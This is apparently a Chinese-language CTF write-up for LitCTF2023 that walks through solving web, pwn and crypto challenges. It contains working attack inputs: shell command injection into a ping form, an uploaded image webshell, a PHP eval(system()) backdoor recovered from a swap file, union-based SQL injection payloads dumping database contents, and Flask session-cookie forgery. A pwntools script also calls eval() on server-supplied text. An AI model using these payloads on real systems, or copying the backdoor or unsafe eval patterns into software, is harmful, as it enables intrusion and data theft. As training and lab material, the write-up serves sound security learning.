目录

  1. 1. 前言
  2. 2. WEB
    1. 2.1. 导弹迷踪
    2. 2.2. PHP是世界上最好的语言!!
    3. 2.3. 1zjs
    4. 2.4. 我Flag呢?
    5. 2.5. Ping
    6. 2.6. Follow me and hack me
    7. 2.7. 作业管理系统
    8. 2.8. Vim yyds
    9. 2.9. Http pro max plus
    10. 2.10. 这是什么?SQL !注一下 !
    11. 2.11. Flag点击就送!
    12. 2.12. 就当无事发生
    13. 2.13. 彩蛋
  3. 3. Pwn
    1. 3.1. 口算题卡
  4. 4. Crypto
    1. 4.1. 梦想是红色的 (初级)

LOADING

第一次加载文章图片可能会花费较长时间

要不挂个梯子试试?(x

加载过慢请开启缓存 浏览器默认开启

LitCTF2023 Writeup

2023/5/14 CTF线上赛
  |     |   总文章阅读量:

前言

探姬杯好耶

评价:

年轻人的第一次ak,就web而言大多数题目很简单而且考点还是挺明显的,同时也能学到一点新的知识,对新生还是非常友好的,

mc服务器挺好玩的,

尝试用GPT4做KOH(x

让我狠狠的社探姬

image

image-20230518201803887

WEB

导弹迷踪

js

进去直接翻js文件,在game.js下找到flag

image-20230518202914966


PHP是世界上最好的语言!!

基本PHP命令执行

进入后发现右边有个能跑代码的框,直接system('ls')尝试回显目录

image-20230518203218304

成功回显,system('ls /')查看根目录

image-20230518203415080

那接下来就直接cat /flag获取flag即可

image-20230518203528515


1zjs

jsfuck

打开又是一个游戏页面,查看js

先看看(index)

image-20230518203735795

游戏的js脚本指向./dist/index.umd.js,那就顺着去找看看

image-20230518203857046

在开头的注释处发现提示,访问/f@k3f1ag.php

image-20230518203955492

发现jsfuck,复制到控制台跑一下得到flag


我Flag呢?

f12查看html注释

image-20230518204147442

发现flag


Ping

ping

前端绕过

进去发现一个ping的命令框,尝试直接127.0.0.1;ls;查看目录

image-20230518204626388

发现被拦下来了,因为弹出的是一个窗口,猜测是前端过滤,使用burpsuite抓包发到重放器中

image-20230518205347255

发现js脚本的前端过滤和文本输入框传入的参数command与方式POST

这里用发包的方式进行命令执行(也可以直接禁用js在页面进行命令执行)

image-20230518205629818

成功回显目录

查看根目录发现flag

image-20230518205723747

直接cat /flag即可

image-20230518205808974


Follow me and hack me

get与post请求

进去按要求传参即可获得flag

image-20230518210009479


作业管理系统

文件上传

进入题目f12发现提示

image-20230519113559467

登录进去后发现一个文件上传页面

image-20230519113711571

直接传图片马进去试试

image-20230519113942549

上传成功

image-20230519114009201

访问并执行命令找到flag

image-20230519114111244

image-20230519114141642


Vim yyds

信息泄露

题目提示“漏…漏了!”很明显是信息泄露

直接dirsearch开扫

image-20230519114633310

发现在/.index.php.swp处存在泄露

访问可以下载其文件

用记事本打开发现有逆序的php代码

image-20230519115027431

正序的php代码如下

<?php
error_reporting(0);
$password = "Give_Me_Your_Flag";
echo "<p>can can need Vim </p>";
if ($_POST['password'] === base64_encode($password)) {
    echo "<p>Oh You got my password!</p>";  
	eval(system($_POST['cmd']));         
}
?>

逻辑很清晰,post传入password,如果password等于base64编码Give_Me_Your_Flag就能在post传入的cmd处执行命令

image-20230519115938717

cat /flag即可

image-20230519120216432


Http pro max plus

http请求头

进入题目

发现要求我们用本地访问

尝试直接X-Forwarded-For:127.0.0.1

执行 发现xff头被过滤了

换个请求头Client-ip:127.0.0.1即可

执行显示 You are not from pornhub.com !

请求头加上Referer:pornhub.com

执行显示 用Chrome浏览器啊

把UA头改成user-agent: Chrome

执行显示 不开代理你想上p站?代理服务器地址是Clash.win

那请求头加上via:Clash.win

image-20230521214343329

那么就看到下一步了

访问/wtfwtfwtfwtf.php

f12找到下一步(前面两个按钮…不是你来真的啊)

image-20230521214441635

访问/sejishikong.php得到flag

image-20230521214607323


这是什么?SQL !注一下 !

sql注入

一个sql注入框,下面也给出了查询语句

image-20230523175738335

很明显就是输入6个)闭合然后执行自己的语句

第一步:查库

比赛的时候问题出在这里,因为本人注入的语句只能查当前库,结果翻了半天字段也没找到flag,最后还得多亏队友(

?id=-1)))))) union select schema_name,2 from information_schema.schemata%23

查询所有库的名字

image-20230523180320374

查ctf库(这里直接搬已有的payload)

?id=-1)))))) union select database(),2%23
Array ( [0] => Array ( [username] => ctf [password] => 2 ) )


?id=-1)))))) union select group_concat(table_name),2 from information_schema.tables where table_schema='ctf'%23
//users


?id=-1)))))) union select group_concat(column_name),2 from information_schema.columns where table_name='users' and table_schema='ctf'%23
// id,username,password


?id=-1)))))) union select group_concat(id,0x7e,username,0x7e,password),2 from users%23
//1~tanji~OHHHHHHH,2~fake_flag~F1rst_to_Th3_eggggggggg!}

查一圈会发现根本找不到flag

那我们就查下ctftraining库中的表

对指定数据库查询的格式:库名.表名

?id=-1)))))) union select 1,group_concat(table_name) from information_schema.tables where table_schema='ctftraining'%23

返回Array ( [0] => Array ( [username] => 1 [password] => flag,news,users ) )

查列

?id=-1)))))) union select 1,group_concat(column_name) from information_schema.columns where table_name='flag' and table_schema='ctftraining'%23

返回Array ( [0] => Array ( [username] => 1 [password] => flag ) )

查字段(不能使用table_schema,因为是内置库的字段)

?id=-1)))))) union select 1,flag from ctftraining.flag%23

获取flag

image-20230523182221777


Flag点击就送!

session伪造

进入题目,要求我们告诉名字,一开始猜测是ssti,{{7*7}}试一下

进入/hello路由

image-20230524145749442

发现没渲染,那应该不是ssti

点一下按钮

进入/flag路由,回显 “只有管理员才能拿flag耶”

image-20230524145815716

那就回到输入名字的页面,输入admin

回车进入/hello路由,回显“你怎么可能是管理员哦!”

比赛的时候到这里题目就卡住了,但是可以确定flag应该是在/flag路由下获取的

于是回到/flag路由下寻找信息,在响应头发现Vary:Cookie,请求头发现session

image-20230524150306617

猜测是要修改session的值来匹配cookie

那就可以确定这题的题型是session伪造

在终端使用session解密的脚本(我这里前面传入的name是1),但是接下来最大的问题就是猜测密钥,最后还得靠队友猜出来密钥是LitCTF

python flask_session_cookie_manager3.py decode -s LitCTF -c eyJuYW1lIjoiMSJ9.ZG219Q.5vpdfyPWA5_My6yGze7cNds2wfE

运行得到{'name': '1'}

接下来要做的就是使session解密后的值修改为{'name': 'admin'},同样在终端使用脚本进行加密

python flask_session_cookie_manager3.py encode -s LitCTF -t {'name':'admin'}

运行得到eyJuYW1lIjoiYWRtaW4ifQ.ZG25fw.C4PC6BrXrAe2n3umTbs1qZSXtXE

然后带着这串session在/flag路由下传入获取flag

image-20230524151901072


就当无事发生

github小知识

题目是探姬的博客链接

进去之后并不能找到什么有用的信息

回来看题目

差点数据没脱敏就发出去了,还好还没来得及部署,重新再pull一次(x

因为github每次pull都会留下修改记录

所以这边直接来到探姬的GitHub博客仓库下

image-20230522172945909

点开commit次数旁边的修改记录可以找到flag

image-20230522173015899


彩蛋

第一个彩蛋在控制台发现,执行题目提示的函数,得到第一段flag

image-20230518204319016

第二个彩蛋在作业管理系统中的远程下载处的那个链接中

image-20230519113820944

第三个彩蛋在备份文件www.zip下,下载下来,将index.php.bak改成index.php,打开发现第三段flag

image-20230518210201148

第四个彩蛋查看id=2时发现

image-20230523175600569

拼接四段flag即可(记得改成NSSCTF开头)

LitCTF{First_t0_The_k3y!_S0_ne3t?_R3ady_Pl4yer_000ne_F1rst_to_Th3_eggggggggg!}


Pwn

口算题卡

image-20231003231759146

纯计算

pwntools自动计算

from pwn import *
p = remote("node4.anna.nssctf.cn", 28355)
context(os="linux", arch="i386", log_level="debug")
recv_header = p.recvuntil(b"Have fun!\n")

for x in range(100):
    p.recvuntil(b"What is")
    
    key = p.recvuntil(b"?")
    payload = flat([
        str(eval(key[:-1]))
    ])
    print(eval(key[:-1]))
    p.sendline(payload)
p.interactive()

Crypto

梦想是红色的 (初级)

自由友善公正公正敬业法治自由自由和谐平等自由自由公正法治诚信民主诚信自由自由诚信民主爱国友善平等诚信富强友善爱国自由诚信民主敬业爱国诚信民主友善爱国平等爱国爱国敬业敬业友善爱国公正敬业爱国敬业和谐文明诚信文明友善爱国自由诚信民主爱国爱国诚信和谐友善爱国自由友善平等爱国友善平等友善自由诚信自由平等爱国爱国敬业敬业友善爱国敬业敬业友善自由友善平等诚信自由法治诚信和谐

核心价值观编解码:http://www.hiencode.com/cvencode.html